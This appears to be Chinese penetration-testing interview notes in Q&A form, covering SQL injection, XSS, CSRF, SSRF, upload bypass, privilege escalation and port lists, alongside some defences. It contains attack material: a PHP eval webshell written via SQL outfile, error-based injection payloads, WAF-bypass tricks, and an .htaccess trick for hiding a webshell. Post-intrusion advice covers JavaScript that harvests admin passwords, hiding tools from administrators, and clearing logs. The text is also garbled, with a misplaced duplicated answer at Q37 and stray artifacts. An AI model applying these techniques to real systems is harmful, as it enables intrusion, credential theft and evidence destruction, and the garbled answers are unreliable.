    这个策略仅针对反射型,对付不了存储型XSS,能识别出反射型是因为提交请求的URL中带有可疑的XSS代码片段。

    X-Content-Security-Policy

    15、Xss worm原理

    攻击者发现目标网站存在XSS漏洞,并且可以编写XSS蠕虫。利用一个宿主(如博客空间)作为传播源头进行XSS攻击。

    16、Cookie的P3P性质

    HTTP响应头的p3字段是W3C公布的一项隐私保护推荐标准,该字段用于标识是否允许目标网站的cookie被另一个域通过加载目标网站而设置或发送,仅IE执行了该策略。

    17、CSRF有何危害?

    篡改目标网站上的用户数据 盗取用户隐私数据 传播CSRF蠕

    一、思路流程

    1、信息收集

    a、服务器的相关信息(真实ip,系统类型,版本,开放端口,WAF等)

    b、网站指纹识别(包括,cms,cdn,证书等),dns记录

    c、whois信息,姓名,备案,邮箱,电话反查(邮箱丢社工库,社工准备等)

    e、子域名收集,旁站,C段等

    f、google hacking针对化搜索,pdf文件,中间件版本,弱口令扫描等

    g、扫描网站目录结构,爆后台,网站banner,测试文件,备份等敏感文件泄漏等

    h、传输协议,通用漏洞,exp,github源码等

    2、漏洞挖掘

    a、浏览网站,看看网站规模,功能,特点等

    b、端口,弱口令,目录等扫描,对响应的端口进行漏洞探测,比如 rsync,心脏出血,mysql,ftp,ssh弱口令等。

    c、XSS,SQL注入,上传,命令注入,CSRF,cookie安全检测,敏感信息,通信数据传输,暴力破解,任意文件上传,越权访问,未授权访问,目录遍历,文件 包含,重放攻击(短信轰炸),服务器漏洞检测,最后使用漏扫工具等

    3、漏洞利用&权限提升

    a、mysql提权,serv-u提权,oracle提权

    b、windows 溢出提权

    c、linux脏牛,内核漏洞提权e

    4、清除测试数据&输出报告

    日志、测试数据的清理
    总结,输出渗透测试报告,附修复方案

    5、复测

    验证并发现是否有新漏洞,输出报告,归档

    二、问题

    1、拿到一个待检测的站,你觉得应该先做什么?

    信息收集
    a、获取域名的whois信息,获取注册者邮箱姓名电话等,丢社工库里看看有没有泄露密码,然后尝试用泄露的密码进行登录后台。用邮箱做关键词进行丢进搜索引擎。利用搜索到的关联信息找出其他邮箱进而得到常用社交账号。社工找出社交账号,里面或许会找出管理员设置密码的习惯 。利用已有信息生成专用字典。

    b、查询服务器旁站以及子域名站点,因为主站一般比较难,所以先看看旁站有没有通用性的cms或者其他漏洞。

    c、查看服务器操作系统版本,web中间件,看看是否存在已知的漏洞,比如IIS,APACHE,NGINX的解析漏洞

    d、查看IP,进行IP地址端口扫描,对响应的端口进行漏洞探测,比如 rsync,心脏出血,mysql,ftp,ssh弱口令等。

    e、扫描网站目录结构,看看是否可以遍历目录,或者敏感文件泄漏,比如php探针
    f、google hack 进一步探测网站的信息,后台,敏感文件

    漏洞扫描
    开始检测漏洞,如XSS,XSRF,sql注入,代码执行,命令执行,越权访问,目录读取,任意文件读取,下载,文件包含,远程命令执行,弱口令,上传,编辑器漏洞,暴力破解等

    漏洞利用
    利用以上的方式拿到webshell,或者其他权限

    权限提升
    提权服务器,比如windows下mysql的udf提权,serv-u提权,windows低版本的漏洞,如iis6,pr,巴西烤肉,linux脏牛漏洞,linux内核版本漏洞提权,linux下的mysql system提权以及oracle低权限提权

    日志清理

    总结报告及修复方案

    2、判断出网站的CMS对渗透有什么意义?

    查找网上已曝光的程序漏洞。

    如果开源,还能下载相对应的源码进行代码审计。

    3.一个成熟并且相对安全的CMS,渗透时扫目录的意义?

    敏感文件、二级目录扫描

    站长的误操作比如:网站备份的压缩文件、说明.txt、二级目录可能存放着其他站点

    4.常见的网站服务器容器。

    IIS、Apache、nginx、Lighttpd、Tomcat

    5.mysql注入点,用工具对目标站直接写入一句话,需要哪些条件?

    root权限以及网站的绝对路径。

    6.目前已知哪些版本的容器有解析漏洞,具体举例。

    a、IIS 6.0
    /xx.asp/xx.jpg "xx.asp"是文件夹名

    b、IIS 7.0/7.5
    默认Fast-CGI开启,直接在url中图片地址后面输入/1.php,会把正常图片当成php解析

    c、Nginx
    版本小于等于0.8.37,利用方法和IIS 7.0/7.5一样,Fast-CGI关闭情况下也可利用。空字节代码 xxx.jpg.php

    d、Apache 上传的文件命名为:test.php.x1.x2.x3,Apache是从右往左判断后缀

    e、lighttpd xx.jpg/xx.php,不全,请小伙伴们在评论处不吝补充,谢谢!

    7.如何手工快速判断目标站是windows还是linux服务器?

    linux大小写敏感,windows大小写不敏感。

    8.为何一个mysql数据库的站,只有一个80端口开放?

    更改了端口,没有扫描出来。

    站库分离。

    3306端口不对外开放

    9、3389无法连接的几种情况

    没开放3389 端口
    端口被修改
    防护拦截
    处于内网(需进行端口转发)

    10.如何突破注入时字符被转义?

    宽字符注入
    hex编码绕过

    11.在某后台新闻编辑界面看到编辑器,应该先做什么?

    查看编辑器的名称版本,然后搜索公开的漏洞。

    12.拿到一个webshell发现网站根目录下有.htaccess文件,我们能做什么?

    能做的事情很多,用隐藏网马来举例子:
    插入
    <FilesMatch “xxx.jpg”> SetHandler application/x-httpd-php
    .jpg文件会被解析成.php文件。

    具体其他的事情,不好详说,建议大家自己去搜索语句来玩玩。

    13.注入漏洞只能查账号密码?

    只要权限广,拖库脱到老。

    14.安全狗会追踪变量,从而发现出是一句话木马吗?

    是根据特征码,所以很好绕过了,只要思路宽,绕狗绕到欢,但这应该不会是一成不变的。

    15.access 扫出后缀为asp的数据库文件,访问乱码,如何实现到本地利用?

    迅雷下载,直接改后缀为.mdb。

    16.提权时选择可读写目录,为何尽量不用带空格的目录?

    因为exp执行多半需要空格界定参数

    17.某服务器有站点A,B 为何在A的后台添加test用户,访问B的后台。发现也添加上了test用户?

    同数据库。

    18.注入时可以不使用and 或or 或xor,直接order by 开始注入吗?

    and/or/xor,前面的1=1、1=2步骤只是为了判断是否为注入点,如果已经确定是注入点那就可以省那步骤去。

    19:某个防注入系统,在注入时会提示:

    系统检测到你有非法注入的行为。
    已记录您的ip xx.xx.xx.xx
    时间:2016:01-23
    提交页面:test.asp?id=15
    提交内容:and 1=1

    20、如何利用这个防注入系统拿shell?

    在URL里面直接提交一句话,这样网站就把你的一句话也记录进数据库文件了 这个时候可以尝试寻找网站的配置文件 直接上菜刀链接。

    21.上传大马后访问乱码时,有哪些解决办法?

    浏览器中改编码。

    22.审查上传点的元素有什么意义?

    有些站点的上传文件类型的限制是在前端实现的,这时只要增加上传类型就能突破限制了。

    23.目标站禁止注册用户,找回密码处随便输入用户名提示:****“此用户不存在”,你觉得这里怎样利用?

    先爆破用户名,再利用被爆破出来的用户名爆破密码。
    其实有些站点,在登陆处也会这样提示
    所有和数据库有交互的地方都有可能有注入。

    24.目标站发现某txt的下载地址为
    http://www.test.com/down/down.php?file=/upwdown/1.txt,你有什么思路?

    这就是传说中的下载漏洞!在file=后面尝试输入index.php下载他的首页文件,然后在首页文件里继续查找其他网站的配置文件,可以找出网站的数据库密码和数据库的地址。

    25.甲给你一个目标站,并且告诉你根目录下存在/abc/目录,并且此目录下存在编辑器和admin目录。请问你的想法是?

    直接在网站二级目录/abc/下扫描敏感文件及目录。

    26.在有shell的情况下,如何使用xss实现对目标站的长久控制?

    后台登录处加一段记录登录账号密码的js,并且判断是否登录成功,如果登录成功,就把账号密码记录到一个生僻的路径的文件中或者直接发到自己的网站文件中。(此方法适合有价值并且需要深入控制权限的网络)。

    在登录后才可以访问的文件中插入XSS脚本。

    **27.后台修改管理员密码处,原密码显示为*****。***你觉得该怎样实现读出这个用户的密码?

    审查元素 把密码处的password属性改成text就明文显示了

    28.目标站无防护,上传图片可以正常访问,上传脚本格式访问则403.什么原因?

    原因很多,有可能web服务器配置把上传目录写死了不执行相应脚本,尝试改后缀名绕过

    29.审查元素得知网站所使用的防护软件,你觉得怎样做到的?

    在敏感操作被拦截,通过界面信息无法具体判断是什么防护的时候,F12看HTML体部 比如护卫神就可以在名称那看到内容。

    30.在win2003服务器中建立一个 .zhongzi文件夹用意何为?

    隐藏文件夹,为了不让管理员发现你传上去的工具。

    31、sql注入有以下两个测试选项,选一个并且阐述不选另一个的理由:

    A. demo.jsp?id=2+1
    B. demo.jsp?id=2-1
    选B,在 URL 编码中 + 代表空格,可能会造成混淆

    32、以下链接存在 sql 注入漏洞,对于这个变形注入,你有什么思路?

    demo.do?DATA=AjAxNg==
    DATA有可能经过了 base64 编码再传入服务器,所以我们也要对参数进行 base64 编码才能正确完成测试

    33、发现 demo.jsp?uid=110 注入点,你有哪几种思路获取 webshell,哪种是优选?

    有写入权限的,构造联合查询语句使用using INTO OUTFILE,可以将查询的输出重定向到系统的文件中,这样去写入 WebShell 使用 sqlmap –os-shell 原理和上面一种相同,来直接获得一个 Shell,这样效率更高 通过构造联合查询语句得到网站管理员的账户和密码,然后扫后台登录后台,再在后台通过改包上传等方法上传 Shell

    34、CSRF 和 XSS 和 XXE 有什么区别,以及修复方式?

    XSS是跨站脚本攻击,用户提交的数据中可以构造代码来执行,从而实现窃取用户信息等攻击。修复方式:对字符实体进行转义、使用HTTP Only来禁止JavaScript读取Cookie值、输入时校验、浏览器与Web应用端采用相同的字符编码。

    CSRF是跨站请求伪造攻击,XSS是实现CSRF的诸多手段中的一种,是由于没有在关键操作执行时进行是否由用户自愿发起的确认。修复方式:筛选出需要防范CSRF的页面然后嵌入Token、再次输入密码、检验Referer XXE是XML外部实体注入攻击,XML中可以通过调用实体来请求本地或者远程内容,和远程文件保护类似,会引发相关安全问题,例如敏感文件读取。修复方式:XML解析库在调用时严格禁止对外部实体的解析。

    35、CSRF、SSRF和重放攻击有什么区别?

    CSRF是跨站请求伪造攻击,由客户端发起 SSRF是服务器端请求伪造,由服务器发起 重放攻击是将截获的数据包进行重放,达到身份认证等目的

    36、说出至少三种业务逻辑漏洞,以及修复方式?

    密码找回漏洞中存在

    1)密码允许暴力破解、

    2)存在通用型找回凭证、

    3)可以跳过验证步骤、

    4)找回凭证可以拦包获取

    等方式来通过厂商提供的密码找回功能来得到密码。身份认证漏洞中最常见的是

    1)会话固定攻击

    2) Cookie 仿冒

    只要得到 Session 或 Cookie 即可伪造用户身份。验证码漏洞中存在

    1)验证码允许暴力破解

    2)验证码可以通过 Javascript 或者改包的方法来进行绕过

    37、圈出下面会话中可能存在问题的项,并标注可能会存在的问题?

    get /ecskins/demo.jsp?uid=2016031900&keyword=”hello world”
    HTTP/1.1Host:***.com:82User-Agent:Mozilla/
    5.0 Firefox/40Accept:text/css,/;q=0.1
    Accept-Language:zh-CN;zh;q=0.8;en-US;q=0.5,en;q=0.3
    Referer:http://*******.com/eciop/orderForCC/
    cgtListForCC.htm?zone=11370601&v=145902
    Cookie:myguid1234567890=1349db5fe50c372c3d995709f54c273d;
    uniqueserid=session_OGRMIFIYJHAH5_HZRQOZAMHJ;
    st_uid=N90PLYHLZGJXI-NX01VPUF46W;
    status=True
    Connection:keep-alive
    br
    

    有写入权限的,构造联合查询语句使用using INTO OUTFILE,可以将查询的输出重定向到系统的文件中,这样去写入 WebShell 使用 sqlmap –os-shell 原理和上面一种相同,来直接获得一个 Shell,这样效率更高 通过构造联合查询语句得到网站管理员的账户和密码,然后扫后台登录后台,再在后台通过改包上传等方法上传 Shell

    **38、给你一个网站你是如何来渗透测试的?**在获取书面授权的前提下。

    39、sqlmap,怎么对一个注入点注入?
    1)如果是get型号,直接,sqlmap -u “诸如点网址”.
    2) 如果是post型诸如点,可以sqlmap -u "注入点网址” --data=“post的参数”
    3)如果是cookie,X-Forwarded-For等,可以访问的时候,用burpsuite抓包,注入处用号替换,放到文件里,然后sqlmap -r “文件地址”

    40、nmap,扫描的几种方式

    41、sql注入的几种类型?
    1)报错注入
    2)bool型注入
    3)延时注入
    4)宽字节注入
    42、报错注入的函数有哪些? 10个

    1)and extractvalue(1, concat(0x7e,(select @@version),0x7e))】】】
    2)通过floor报错 向下取整
    3)+and updatexml(1, concat(0x7e,(secect @@version),0x7e),1)
    4).geometrycollection()select from test where id=1 and geometrycollection((select from(selectfrom(select user())a)b));
    5).multipoint()select from test where id=1 and multipoint((select from(select from(select user())a)b));
    6).polygon()select from test where id=1 and polygon((select from(select from(select user())a)b));
    7).multipolygon()select from test where id=1 and multipolygon((select from(select from(select user())a)b));
    8).linestring()select from test where id=1 and linestring((select from(select from(select user())a)b));
    9).multilinestring()select from test where id=1 and multilinestring((select from(select from(select user())a)b));
    10).exp()select from test where id=1 and exp(~(select * from(select user())a));
    br
    

    43、延时注入如何来判断?

    if(ascii(substr(“hello”, 1, 1))=104, sleep(5), 1)
    br
    

    44、盲注和延时注入的共同点?

    都是一个字符一个字符的判断

    45、如何拿一个网站的webshell?

    上传,后台编辑模板,sql注入写文件,命令执行,代码执行, 一些已经爆出的cms漏洞,比如dedecms后台可以直接建立脚本文件,wordpress上传插件包含脚本文件zip压缩包等

    46、sql注入写文件都有哪些函数?

    select '一句话' into outfile '路径'
    select '一句话' into dumpfile '路径'
    select '<?php eval($_POST[1]) ?>' into dumpfile  'd:\wwwroot\baidu.com\nvhack.php';
    br
    

    47、如何防止CSRF?
    1)验证referer
    2)验证token
    详细:http://cnodejs.org/topic/5533dd6e9138f09b629674fd

    48、owasp 漏洞都有哪些?
    1)SQL注入防护方法:
    2)失效的身份认证和会话管理
    3)跨站脚本攻击XSS
    4)直接引用不安全的对象
    5)安全配置错误
    6)敏感信息泄露
    7)缺少功能级的访问控制
    8)跨站请求伪造CSRF
    9)使用含有已知漏洞的组件
    10)未验证的重定向和转发

    49、SQL注入防护方法?
    1)使用安全的API
    2)对输入的特殊字符进行Escape转义处理
    3)使用白名单来规范化输入验证方法
    4)对客户端输入进行控制,不允许输入SQL注入相关的特殊字符
    5)服务器端在提交数据库进行SQL查询之前,对特殊字符进行过滤、转义、替换、删除。

    50、代码执行,文件读取,命令执行的函数都有哪些?

    1)代码执行:
    eval,preg_replace+/e,assert,call_user_func,call_user_func_array,create_function
    
    2)文件读取:
    file_get_contents(),highlight_file(),fopen(),read
    file(),fread(),fgetss(), fgets(),parse_ini_file(),show_source(),file()等
     
    3)命令执行:
    system(), exec(), shell_exec(), passthru() ,pcntl_exec(), popen(),proc_open()
    

    51、img标签除了onerror属性外,还有其他获取管理员路径的办法吗?
    src指定一个远程的脚本文件,获取referer

    52、img标签除了onerror属性外,并且src属性的后缀名,必须以.jpg结尾,怎么获取管理员路径。

    1)远程服务器修改apache配置文件,配置.jpg文件以php方式来解析 AddType application/x-httpd-php .jpg 会以php方式来解析

    53、为什么aspx木马权限比asp大?

    aspx使用的是.net技术。IIS 中默认不支持,ASP只是脚本语言而已。入侵的时候asp的木马一般是guest权限…APSX的木马一般是users权限。

    54、如何绕过waf?

    大小写转换法
    干扰字符 /*!*/
    编码 base64 unicode hex url ascll
    复参数
    br
    

    55、如何向服务器写入webshell?

    各种上传漏洞
     
    mysql具有写入权限,用sql语句写入shell
     
    http put方法
     
    br
    

    56、渗透测试中常见的端口

    a、web类(web漏洞/敏感目录) 第三方通用组件漏洞struts thinkphp jboss ganglia zabbix

    80 web
     
    80-89 web
     
    8000-9090 web
     
    br
    

    b、数据库类(扫描弱口令)

     
    1433 MSSQL
     
    1521 Oracle
     
    3306 MySQL
     
    5432 PostgreSQL
     
    br
    

    c、特殊服务类(未授权/命令执行类/漏洞)

    443 SSL心脏滴血
     
    873 Rsync未授权
     
    5984 CouchDB http://xxx:5984/_utils/
     
    6379 redis未授权
     
    7001,7002 WebLogic默认弱口令,反序列
     
    9200,9300 elasticsearch 参考WooYun: 多玩某服务器ElasticSearch命令执行漏洞
     
    11211 memcache未授权访问
     
    27017,27018 Mongodb未授权访问
     
    50000 SAP命令执行
     
    50070,50030 hadoop默认端口未授权访问
     
    br
    

    d、常用端口类(扫描弱口令/端口爆破)

    21 ftp
     
    22 SSH
     
    23 Telnet
     
    2601,2604 zebra路由,默认密码zebra
     
    3389 远程桌面
     
    br
    

    ALL、端口合计详情

    21 ftp
     
    22 SSH
     
    23 Telnet
     
    80 web
     
    80-89 web
     
    161 SNMP
     
    389 LDAP
     
    443 SSL心脏滴血以及一些web漏洞测试
     
    445 SMB
     
    512,513,514 Rexec
     
    873 Rsync未授权
     
    1025,111 NFS
     
    1433 MSSQL
     
    1521 Oracle:(iSqlPlus Port:5560,7778)
     
    2082/2083 cpanel主机管理系统登陆 (国外用较多)
     
    2222 DA虚拟主机管理系统登陆 (国外用较多)
     
    2601,2604 zebra路由,默认密码zebra
     
    3128 squid代理默认端口,如果没设置口令很可能就直接漫游内网了
     
    3306 MySQL
     
    3312/3311 kangle主机管理系统登陆
     
    3389 远程桌面
     
    4440 rundeck 参考WooYun: 借用新浪某服务成功漫游新浪内网
     
    5432 PostgreSQL
     
    5900 vnc
     
    5984 CouchDB http://xxx:5984/_utils/
     
    6082 varnish 参考WooYun: Varnish HTTP accelerator CLI 未授权访问易导致网站被直接篡改或者作为代理进入内网
     
    6379 redis未授权
     
    7001,7002 WebLogic默认弱口令,反序列
     
    7778 Kloxo主机控制面板登录
     
    8000-9090 都是一些常见的web端口,有些运维喜欢把管理后台开在这些非80的端口上
     
    8080 tomcat/WDCP主机管理系统,默认弱口令
     
    8080,8089,9090 JBOSS
     
    8083 Vestacp主机管理系统 (国外用较多)
     
    8649 ganglia
     
    8888 amh/LuManager 主机管理系统默认端口
     
    9200,9300 elasticsearch 参考WooYun: 多玩某服务器ElasticSearch命令执行漏洞
     
    10000 Virtualmin/Webmin 服务器虚拟主机管理系统
     
    11211 memcache未授权访问
     
    27017,27018 Mongodb未授权访问
     
    28017 mongodb统计页面
     
    50000 SAP命令执行
     
    50070,50030 hadoop默认端口未授权访问
     
    br
    

    三、深信服一面

    • 了解哪些漏洞
    • 文件上传有哪些防护方式
    • 用什么扫描端口,目录
    • 如何判断注入
    • 注入有防护怎么办
    • 有没有写过tamper
    • 3306 1443 8080是什么端口
    • 计算机网络从物理层到应用层xxxx
    • 有没有web服务开发经验
    • 如何向服务器写入webshell
    • 有没有用过xss平台
    • 网站渗透的流程
    • mysql两种提权方式(udf,?)
    • 常见加密方式xxx
    • ddos如何防护
    • 有没有抓过包,会不会写wireshark过滤规则
    • 清理日志要清理哪些

    四、SQL注入防护

    1、使用安全的API
    2、对输入的特殊字符进行Escape转义处理
    3、使用白名单来规范化输入验证方法
    4、对客户端输入进行控制,不允许输入SQL注入相关的特殊字符
    5、服务器端在提交数据库进行SQL查询之前,对特殊字符进行过滤、转义、替换、删除。
    6、规范编码,字符集

    五、为什么参数化查询可以防止SQL注入

    原理:

    使用参数化查询数据库服务器不会把参数的内容当作sql指令的一部分来执行,是在数据库完成sql指令的编译后才套用参数运行

    简单的说: 参数化能防注入的原因在于,语句是语句,参数是参数,参数的值并不是语句的一部分,数据库只按语句的语义跑

    六、SQL头注入点

    UA
     
    REFERER
     
    COOKIE
     
    IP
     
    br
    

    七、盲注是什么?怎么盲注?

    盲注是在SQL注入攻击过程中,服务器关闭了错误回显,我们单纯通过服务器返回内容的变化来判断是否存在SQL注入和利用的方式。盲注的手段有两种,一个是通过页面的返回内容是否正确(boolean-based),来验证是否存在注入。一个是通过sql语句处理时间的不同来判断是否存在注入(time-based),在这里,可以用benchmark,sleep等造成延时效果的函数,也可以通过构造大笛卡儿积的联合查询表来达到延时的目的。

    八、宽字节注入产生原理以及根本原因

    1、产生原理

    在数据库使用了宽字符集而WEB中没考虑这个问题的情况下,在WEB层,由于0XBF27是两个字符,在PHP中比如addslash和magic_quotes_gpc开启时,由于会对0x27单引号进行转义,因此0xbf27会变成0xbf5c27,而数据进入数据库中时,由于0XBF5C是一个另外的字符,因此\转义符号会被前面的bf带着"吃掉",单引号由此逃逸出来可以用来闭合语句。

    2、在哪里编码

    3、根本原因

    character_set_client(客户端的字符集)和character_set_connection(连接层的字符集)不同,或转换函数如,iconv、mb_convert_encoding使用不当。

    4、解决办法

    统一数据库、Web应用、操作系统所使用的字符集,避免解析产生差异,最好都设置为UTF-8。或对数据进行正确的转义,如mysql_real_escape_string+mysql_set_charset的使用。

    5、SQL里面只有update怎么利用

    先理解这句 SQL

    UPDATE user SET password='MD5($password)', homepage='$homepage' WHERE id='$id'
    br
    

    如果此 SQL 被修改成以下形式,就实现了注入

    a、修改 homepage 值为http://xxx.net', userlevel='3

    之后 SQL 语句变为

    UPDATE user SET password='mypass', homepage='http://xxx.net', userlevel='3' WHERE id='$id'
    br
    

    userlevel 为用户级别

    b、修改 password 值为mypass)' WHERE username='admin'#

    之后 SQL 语句变为

    UPDATE user SET password='MD5(mypass)' WHERE username='admin'#)', homepage='$homepage' WHERE id='$id'
    br
    

    c、修改 id 值为' OR username='admin'之后 SQL 语句变为

    UPDATE user SET password='MD5($password)', homepage='$homepage' WHERE id='' OR username='admin'
    br
    

    九、SQL如何写shell/单引被过滤怎么办

    写shell: root权限,GPC关闭,知道文件路径 outfile函数

    `http://127.0.0.1:81/sqli.php?id=1 into outfile 'C:\\wamp64\\www\\phpinfo.php' FIELDS TERMINATED BY '<?php phpinfo(); ?>'`
    
    `http://127.0.0.1:81/sqli.php?id=-1 union select 1,0x3c3f70687020706870696e666f28293b203f3e,3,4 into outfile 'C:\\wamp64\\www\\phpinfo.php'`
    

    宽字节注入

    1、代替空格的方法

    %0a、%0b、%a0 等
    
    /**/ 等注释符
    
    <>
    
    br
    

    2、mysql的网站注入,5.0以上和5.0以下有什么区别

    5.0以下没有information_schema这个系统表,无法列表名等,只能暴力跑表名。

    5.0以下是多用户单操作,5.0以上是多用户多操做。

    十、XSS

    1、XSS原理

    反射型

    用户提交的数据中可以构造代码来执行,从而实现窃取用户信息等攻击。需要诱使用户“点击”一个恶意链接,才能攻击成功

    存储型

    存储型XSS会把用户输入的数据“存储”在服务器端。这种XSS具有很强的稳定性。

    DOM型

    通过修改页面的DOM节点形成的XSS,称之为DOM Based XSS。

    2、DOM型和反射型的区别

    **反射型XSS:**通过诱导用户点击,我们构造好的恶意payload才会触发的XSS。反射型XSS的检测我们在每次请求带payload的链接时页面应该是会带有特定的畸形数据的。**DOM型:**通过修改页面的DOM节点形成的XSS。DOM-based XSS由于是通过js代码进行dom操作产生的XSS,所以在请求的响应中我们甚至不一定会得到相应的畸形数据。根本区别在我看来是输出点的不同。

    3、DOM型和XSS自动化测试或人工测试

    **人工测试思路:**找到类似document.write、innerHTML赋值、outterHTML赋值、window.location操作、写javascript:后内容、eval、setTimeout 、setInterval 等直接执行之类的函数点。找到其变量,回溯变量来源观察是否可控,是否经过安全函数。自动化测试参看道哥的博客,思路是从输入入手,观察变量传递的过程,最终检查是否有在危险函数输出,中途是否有经过安全函数。但是这样就需要有一个javascript解析器,否则会漏掉一些通过js执行带入的部分内容。

    在回答这段问题的时候,由于平时对客户的检测中,基本是凭借不同功能点的功能加上经验和直觉来进行检测,对不同类型的XSS检测方式实际上并没有太过细分的标准化检测方式,所以回答的很烂。。。

    4、如何快速发现XSS位置

    5、对于XSS怎么修补建议

    **输入点检查:**对用户输入的数据进行合法性检查,使用filter过滤敏感字符或对进行编码转义,针对特定类型数据进行格式检查。针对输入点的检查最好放在服务器端实现。

    **输出点检查:**对变量输出到HTML页面中时,对输出内容进行编码转义,输出在HTML中时,对其进行HTMLEncode,如果输出在Javascript脚本中时,对其进行JavascriptEncode。对使用JavascriptEncode的变量都放在引号中并转义危险字符,data部分就无法逃逸出引号外成为code的一部分。还可以使用更加严格的方法,对所有数字字母之外的字符都使用十六进制编码。此外,要注意在浏览器中,HTML的解析会优先于Javascript的解析,编码的方式也需要考虑清楚,针对不同的输出点,我们防御XSS的方法可能会不同,这点可能在之后的文章会做下总结。

    除此之外,还有做HTTPOnly对Cookie劫持做限制。

    6、XSS蠕虫的生产条件

    正常情况下,一个是产生XSS点的页面不属于self页面,用户之间产生交互行为的页面,都可能造成XSS Worm的产生。
    不一定需要存储型XSS

    十一、CSRF

    1、CSRF原理

    CSRF是跨站请求伪造攻击,由客户端发起,是由于没有在关键操作执行时进行是否由用户自愿发起的确认

    2、防御

    验证Referer
    添加token

    3、token和referer做横向对比,谁安全等级高?

    token安全等级更高,因为并不是任何服务器都可以取得referer,如果从HTTPS跳到HTTP,也不会发送referer。并且FLASH一些版本中可以自定义referer。但是token的话,要保证其足够随机且不可泄露。(不可预测性原则)

    4、对referer的验证,从什么角度去做?如果做,怎么杜绝问题

    对header中的referer的验证,一个是空referer,一个是referer过滤或者检测不完善。为了杜绝这种问题,在验证的白名单中,正则规则应当写完善。

    5、针对token,对token测试会注意哪方面被人,会对token的哪方面进行测试?

    引用一段请教前辈的回答:

    针对token的攻击,一是对它本身的攻击,重放测试一次性、分析加密规则、校验方式是否正确等,二是结合信息泄露漏洞对它的获取,结合着发起组合攻击
     
    信息泄露有可能是缓存、日志、get,也有可能是利用跨站
     
    很多跳转登录的都依赖token,有一个跳转漏洞加反射型跨站就可以组合成登录劫持了
     
    另外也可以结合着其它业务来描述token的安全性及设计不好怎么被绕过比如抢红包业务之类的
     
    br
    

    十二、SSRF

    SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下,SSRF攻击的目标是从外网无法访问的内部系统。(正是因为它是由服务端发起的,所以它能够请求到与它相连而与外网隔离的内部系统)

    SSRF 形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。比如从指定URL地址获取网页文本内容,加载指定地址的图片,下载等等。

    1、监测

    SSRF漏洞的验证方法:

    1)因为SSRF漏洞是让服务器发送请求的安全漏洞,所以我们就可以通过抓包分析发送的请求是否是由服务器的发送的,从而来判断是否存在SSRF漏洞

    2)在页面源码中查找访问的资源地址 ,如果该资源地址类型为 www.baidu.com/xxx.php?image=(地址)的就可能存在SSRF漏洞 4[1]

    2、SSRF漏洞的成因 防御 绕过

    **成因:**模拟服务器对其他服务器资源进行请求,没有做合法性验证。利用:构造恶意内网IP做探测,或者使用其余所支持的协议对其余服务进行攻击。防御:禁止跳转,限制协议,内外网限制,URL限制。绕过:使用不同协议,针对IP,IP格式的绕过,针对URL,恶意URL增添其他字符,@之类的。301跳转+dns rebindding。

    十三、上传

    1、文件上传漏洞原理

    由于程序员在对用户文件上传部分的控制不足或者处理缺陷,而导致用户可以越过其本身权限向服务器上传可执行的动态脚本文件

    2、常见的上传绕过方式

    前端js验证:禁用js/burp改包
    大小写
    双重后缀名
    过滤绕过 pphphp->php

    3、防护

    文件上传目录设置为不可执行
    使用白名单判断文件上传类型
    用随机数改写文件名和路径

    4、审查上传点的元素有什么意义?

    有些站点的上传文件类型的限制是在前端实现的,这时只要增加上传类型就能突破限制了。

    十四、文件包含

    1、原理

    引入一段用户能控制的脚本或代码,并让服务器端执行 include()等函数通过动态变量的方式引入需要包含的文件;
    用户能够控制该动态变量。

    2、导致文件包含的函数

    PHP:include(), include_once(), require(), re-quire_once(), fopen(), readfile(), … JSP/Servlet:ava.io.File(), java.io.Fil-eReader(), … ASP:include file, include virtual,

    3、本地文件包含

    能够打开并包含本地文件的漏洞,被称为本地文件包含漏洞

    十五、逻辑漏扫

    1、金融行业常见逻辑漏洞

    单针对金融业务的 主要是数据的篡改(涉及金融数据,或部分业务的判断数据),由竞争条件或者设计不当引起的薅羊毛,交易/订单信息泄露,水平越权对别人的账户查看或恶意操作,交易或业务步骤绕过。

    十六、中间人攻击

    中间人攻击是一个(缺乏)相互认证的攻击;由于客户端与服务器之间在SSL握手的过程中缺乏相互认证而造成的漏洞

    防御中间人攻击的方案通常基于一下几种技术

    1.公钥基础建设PKI

    使用PKI相互认证机制,客户端验证服务器,服务器验证客户端;上述两个例子中都是只验证服务器,这样就造成了SSL握手环节的漏洞,而如果使用相互认证的的话,基本可以更强力的相互认证

    2.延迟测试

    使用复杂加密哈希函数进行计算以造成数十秒的延迟;如果双方通常情况下都要花费20秒来计算,并且整个通讯花费了60秒计算才到达对方,这就能表明存在第三方中间人。

    3.使用其他形式的密钥交换形式

    ARP欺骗

    原理

    每台主机都有一个ARP缓存表,缓存表中记录了IP地址与MAC地址的对应关系,而局域网数据传输依靠的是MAC地址。在ARP缓存表机制存在一个缺陷,就是当请求主机收到ARP应答包后,不会去验证自己是否向对方主机发送过ARP请求包,就直接把这个返回包中的IP地址与MAC地址的对应关系保存进ARP缓存表中,如果原有相同IP对应关系,原有的则会被替换。这样攻击者就有了偷听主机传输的数据的可能

    防护

    1.在主机绑定网关MAC与IP地址为静态(默认为动态),命令:arp -s 网关IP 网关MAC

    2.在网关绑定主机MAC与IP地址

    3.使用ARP防火墙

    十七、DDOS

    1、DDOS原理

    利用合理的请求造成资源过载,导致服务不可用

    syn洪流的原理

    伪造大量的源IP地址,分别向服务器端发送大量的SYN包,此时服务器端会返回SYN/ACK包,因为源地址是伪造的,所以伪造的IP并不会应答,服务器端没有收到伪造IP的回应,会重试3~5次并且等待一个SYNTime(一般为30秒至2分钟),如果超时则丢弃这个连接。攻击者大量发送这种伪造源地址的SYN请求,服务器端将会消耗非常多的资源(CPU和内存)来处理这种半连接,同时还要不断地对这些IP进行SYN+ACK重试。最后的结果是服务器无暇理睬正常的连接请求,导致拒绝服务。

    CC攻击原理

    对一些消耗资源较大的应用页面不断发起正常的请求,以达到消耗服务端资源的目的。

    2、DOSS防护

    SYN Cookie/SYN Proxy、safereset等算法。SYN Cookie的主要思想是为每一个IP地址分配一个“Cookie”,并统计每个IP地址的访问频率。如果在短时间内收到大量的来自同一个IP地址的数据包,则认为受到攻击,之后来自这个IP地址的包将被丢弃。

    十八、提权

    MySQL两种提权方式

    udf提权,mof提权

    MySQL_UDF提取

